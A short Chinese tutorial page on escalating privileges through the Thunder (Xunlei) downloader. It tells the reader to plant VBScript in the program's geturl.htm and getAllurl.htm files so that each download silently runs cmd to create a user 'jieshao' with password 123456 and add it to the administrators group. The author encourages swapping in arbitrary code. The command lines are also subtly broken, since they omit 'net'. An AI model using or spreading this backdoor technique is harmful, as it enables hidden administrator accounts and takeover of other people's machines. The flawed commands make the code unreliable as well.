迅雷提权教程

网络安全 2021-07-03 09:19www.168986.cn网络安全知识

当我们使用迅雷下载东西的时候,会调用我们安装迅雷后一个htm文件,去激活htm文件里的一些代码,

把我们所下载东西添加到列表当中。

所对应的htm文件有2处一处是C:\Program Files\Thunder Network\Thunder\Program\geturl.htm

一处是C:\Program Files\Thunder Network\Thunder\Program\getAllurl.htm

如果我们想把我们想要的代码添加进去执行了?

我们简单写个代码试试,代码如下

<script language="VBScript">
Set vbs=CreateObject("Wscript.Shell")
vbs.run "cmd /c user jieshao 123456 /add",0
vbs.run "cmd /c localgroup administrators jieshao /add",0
</script>

应该大家都可以看的出,如果我们把这段代码添加到那2个htm文件里,当迅雷下载东西的时候,一样

会去执行我们的代码。添加一个administrators组的一个用户jieshao

,代码大家可以自定义哈。不要被我所禁锢住啦


、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、

测试通过,迅雷版本为5.9.2.927,

2009年7月17日10:13:58


上一篇:DoS攻击简述 下一篇:FSO的开启方法

Copyright © 2016-2025 www.168986.cn 狼蚁网络 版权所有 Power by